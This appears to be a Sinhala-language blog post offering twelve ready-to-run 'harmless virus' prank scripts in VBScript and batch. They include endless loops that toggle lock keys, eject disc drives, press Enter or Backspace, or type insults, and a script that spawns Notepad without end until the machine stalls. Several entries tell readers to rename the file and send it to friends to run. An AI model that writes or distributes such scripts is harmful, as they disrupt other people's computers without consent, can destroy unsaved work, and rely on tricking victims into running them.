පරිගණකයට හානියක් නොවන Virus හදමු

පරිගණයට හානි දායක නොවන vires හදන්න තමයි කියල දෙන්න යන්නේ ටිකක් Simple වැඩක්😉👉මේකෙන් ඔයාලගෙ Virus Guard එක හරියට වැඩද කියල චෙක් කර ගන්නත් පුලුවන්😎

වයිරස් 12ක් හදන්න කියල දෙනවා 
පහලට කියවන් යමුකෝ😊👇

මේවා ඉගෙනගෙන,
යාලුවෝ බය කරමු😉
ආතල් ගමු😀
ඒත් කිසි කෙනෙක්ට හානි වෙන විදියේ
වැඩ කරන්න එපා😌☝

වැඩේට බහිමු එහෙනම්☺👇

1.මුලින්ම NOTEPAD එක OPEN කර ගන්න

2.පහලින් ලබා දී ඇති CODE එකක් COPY කර
NOTEPAD එකට PASTE කර ගන්න

3.SAVE AS යන්න

4.FILE NAME එකට කැමති නමක් දී .BAT හෝ
.VBS ලෙස EXTENTION එක තබන්න(EX-
VIRES.BAT හෝ VIRES.VBS ලෙස)

5. FILES ලෙස  FILE වර්ගය ලබා දී
SAVE කරන්න

6.නිර්මාණය කරන ලද BAT හෝ VBS FILE එක
RUN කරන්න

7.වැඩේ හරි ගියා නම් කමෙන්ට් එකකුත්
දාන් යන්න😀👇

------------------------------VIRES CODES---------------------

1) Keyboard lights trick (.vbs)

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

2) Optical disc drive trick (.vbs)

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

3) Fake error message (.vbs)

x=msgbox("Your Message Here", 0+16, "Your Title Here")

4) Matrix code - type 1 (.bat)

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

5) Matrix code - type 2 (.bat)

@echo off
:a
color 2
echo 1 1 1 0 1 0 0 0 1 1 1 1 0 0 0 1 1 0 0 1 0 0 0 1 1 0 1 0 1 0 0 0 1 1 1 1
ping localhost -n 1 > nul
echo 1 1 0 1 1 1 0 0 0 1 0 1 a f h 0 0 0 1 0 1 1 0 0 1 1 1 0 0 1 0 1 0 0 1 1 0
echo 1 0 0 1 1 0 9 8 1 2 0 1 9 9 2 1 1 1 0 0 1 0 1 1 1 0 1 1 0 1 0 0 0 1 0 1 1
ping localhost -n 1 > nul
echo 0 1 0 0 0 1 0 0 0 1 0 0 0 1 0 1 0 0 1 0 1 0 1 1 0 1 0 0 0 01 0 1 0 0 1 0
ping localhost -n 1 > nul
echo 1 0 1 1 1 0 1 1 0 9 1 1 2 1 1 0 9 1 0 5 7 7 8 7 8 1 3 2 1 2 1 2 3 2 1 3 4
ping localhost -n 1 > nul
echo 1 1 1 0 1 0 0 1 0 0 0 1 1 1 0 0 1 1 1 4 1 2 1 1 2 0 1 0 1 2 2 1 0 1 1 0 1
goto a

6) Text to speech (.vbs)

Dim message, sapi
message=InputBox("What do you want me to say?","Speak to Me")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message

7)capslock virus (vbs)

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.
----------------------------------------------------------------------------------------------
8)enter key virus (vbs)

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

----------------------------------------------------------------------------------------------
9) automatic type virus

Type :

WScript.Sleep 180
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
WScript.Sleep 500
WshShell.SendKeys "yo"
WScript.Sleep 500
WshShell.SendKeys "u"
WScript.Sleep 500
WshShell.SendKeys " are"
WScript.Sleep 500
WshShell.SendKeys " st"
WScript.Sleep 500
WshShell.SendKeys "up"
WScript.Sleep 500
WshShell.SendKeys "id!"

Save it as "Anything.VBS"
----------------------------------------------------------------------------------------------
10) backspace virus

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS"
----------------------------------------------------------------------------------------------
11) continous text virus

Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.
----------------------------------------------------------------------------------------------
12) bonus virus (.bat)

Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

කරන දෙයක් පරිස්සමට☝ කිසිම දේකට වගකියන්නෙ නෑ😎

                                           ●Admin-Kushan